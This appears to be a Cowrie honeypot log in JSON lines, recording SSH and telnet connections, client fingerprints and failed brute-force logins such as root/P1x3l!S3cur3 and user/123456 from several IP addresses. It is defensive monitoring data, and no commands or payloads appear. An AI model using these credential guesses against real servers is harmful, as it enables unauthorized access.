{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:43.826737Z","src_ip":"160.187.174.22","session":"11e68e5b9bd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:44.063568Z","src_ip":"144.91.108.61","session":"cb37d22a6564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":52572,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b59e15a8e73","protocol":"ssh","message":"New connection: 91.92.40.153:52572 (10.17.0.5:22) [session: 9b59e15a8e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:44.373050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:44.645730Z","src_ip":"91.92.40.153","session":"9b59e15a8e73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:44.649148Z","src_ip":"91.92.40.153","session":"9b59e15a8e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.5","message":"Connection lost after 34.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:44.826483Z","src_ip":"139.99.74.35","session":"d1836eaa8601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":44526,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7f3ba980146","protocol":"ssh","message":"New connection: 139.99.74.35:44526 (159.203.135.109:22) [session: a7f3ba980146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:45.082752Z"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"12345","message":"login attempt [openclaw/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:46.550895Z","src_ip":"91.92.40.153","session":"9b59e15a8e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:47.998220Z","src_ip":"91.92.40.153","session":"9b59e15a8e73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":42344,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ff7daaaa456","protocol":"ssh","message":"New connection: 162.241.239.241:42344 (159.203.135.109:22) [session: 6ff7daaaa456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:49.482949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:49.490103Z","src_ip":"162.241.239.241","session":"6ff7daaaa456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:49.517861Z","src_ip":"162.241.239.241","session":"6ff7daaaa456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P1x3l!S3cur3","message":"login attempt [root/P1x3l!S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:49.609924Z","src_ip":"162.241.239.241","session":"6ff7daaaa456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:49.860093Z","src_ip":"139.99.74.35","session":"a7f3ba980146","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":44528,"dst_ip":"159.203.135.109","dst_port":22,"session":"27c7aaf49137","protocol":"ssh","message":"New connection: 139.99.74.35:44528 (159.203.135.109:22) [session: 27c7aaf49137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:50.087169Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39852,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb31b2f7e823","protocol":"telnet","message":"New connection: 170.64.224.25:39852 (159.203.135.109:23) [session: cb31b2f7e823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:50.099227Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":52616,"dst_ip":"10.17.0.5","dst_port":22,"session":"906c371402ff","protocol":"ssh","message":"New connection: 91.92.40.153:52616 (10.17.0.5:22) [session: 906c371402ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:50.608674Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:50.639474Z","src_ip":"162.241.239.241","session":"6ff7daaaa456","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:50.871536Z","src_ip":"91.92.40.153","session":"906c371402ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:50.874906Z","src_ip":"91.92.40.153","session":"906c371402ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"toor","message":"login attempt [ai/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:51.754839Z","src_ip":"91.92.40.153","session":"906c371402ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:52.861546Z","src_ip":"91.92.40.153","session":"906c371402ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:54.871963Z","src_ip":"139.99.74.35","session":"27c7aaf49137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":33946,"dst_ip":"159.203.135.109","dst_port":22,"session":"2638c85f89a1","protocol":"ssh","message":"New connection: 139.99.74.35:33946 (159.203.135.109:22) [session: 2638c85f89a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:55.095730Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":60016,"dst_ip":"10.17.0.5","dst_port":22,"session":"88ff4e44920a","protocol":"ssh","message":"New connection: 91.92.40.153:60016 (10.17.0.5:22) [session: 88ff4e44920a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:56.509633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:56.727464Z","src_ip":"91.92.40.153","session":"88ff4e44920a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:56.730340Z","src_ip":"91.92.40.153","session":"88ff4e44920a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"1234","message":"login attempt [server/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:58.023526Z","src_ip":"91.92.40.153","session":"88ff4e44920a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:59.394473Z","src_ip":"91.92.40.153","session":"88ff4e44920a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.60867381095886,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:59.859815Z","src_ip":"107.6.151.170","session":"776c1bb9c9da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:59.912482Z","src_ip":"139.99.74.35","session":"2638c85f89a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":33950,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cea6292d9ce","protocol":"ssh","message":"New connection: 139.99.74.35:33950 (159.203.135.109:22) [session: 2cea6292d9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:00.139276Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":60056,"dst_ip":"10.17.0.5","dst_port":22,"session":"be672f84f7cf","protocol":"ssh","message":"New connection: 91.92.40.153:60056 (10.17.0.5:22) [session: be672f84f7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:02.492757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:02.658042Z","src_ip":"91.92.40.153","session":"be672f84f7cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:02.660903Z","src_ip":"91.92.40.153","session":"be672f84f7cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":58004,"dst_ip":"159.203.135.109","dst_port":22,"session":"15fbbb304097","protocol":"ssh","message":"New connection: 193.37.70.224:58004 (159.203.135.109:22) [session: 15fbbb304097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:03.227567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:03.231739Z","src_ip":"193.37.70.224","session":"15fbbb304097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:03.325427Z","src_ip":"193.37.70.224","session":"15fbbb304097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vladik2003","message":"login attempt [root/vladik2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:03.598167Z","src_ip":"193.37.70.224","session":"15fbbb304097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:04.690003Z","src_ip":"193.37.70.224","session":"15fbbb304097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:04.719977Z","src_ip":"91.92.40.153","session":"be672f84f7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:04.935057Z","src_ip":"139.99.74.35","session":"2cea6292d9ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":49606,"dst_ip":"159.203.135.109","dst_port":22,"session":"c981aabad42b","protocol":"ssh","message":"New connection: 139.99.74.35:49606 (159.203.135.109:22) [session: c981aabad42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:05.159990Z"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:06.123915Z","src_ip":"91.92.40.153","session":"be672f84f7cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":47178,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8f6afb527d8","protocol":"ssh","message":"New connection: 160.187.174.22:47178 (159.203.135.109:22) [session: a8f6afb527d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:06.833334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:06.842076Z","src_ip":"160.187.174.22","session":"a8f6afb527d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:07.085315Z","src_ip":"160.187.174.22","session":"a8f6afb527d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:08.085571Z","src_ip":"160.187.174.22","session":"a8f6afb527d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":35698,"dst_ip":"10.17.0.5","dst_port":22,"session":"586ad6c083ac","protocol":"ssh","message":"New connection: 91.92.40.153:35698 (10.17.0.5:22) [session: 586ad6c083ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:08.286452Z"}
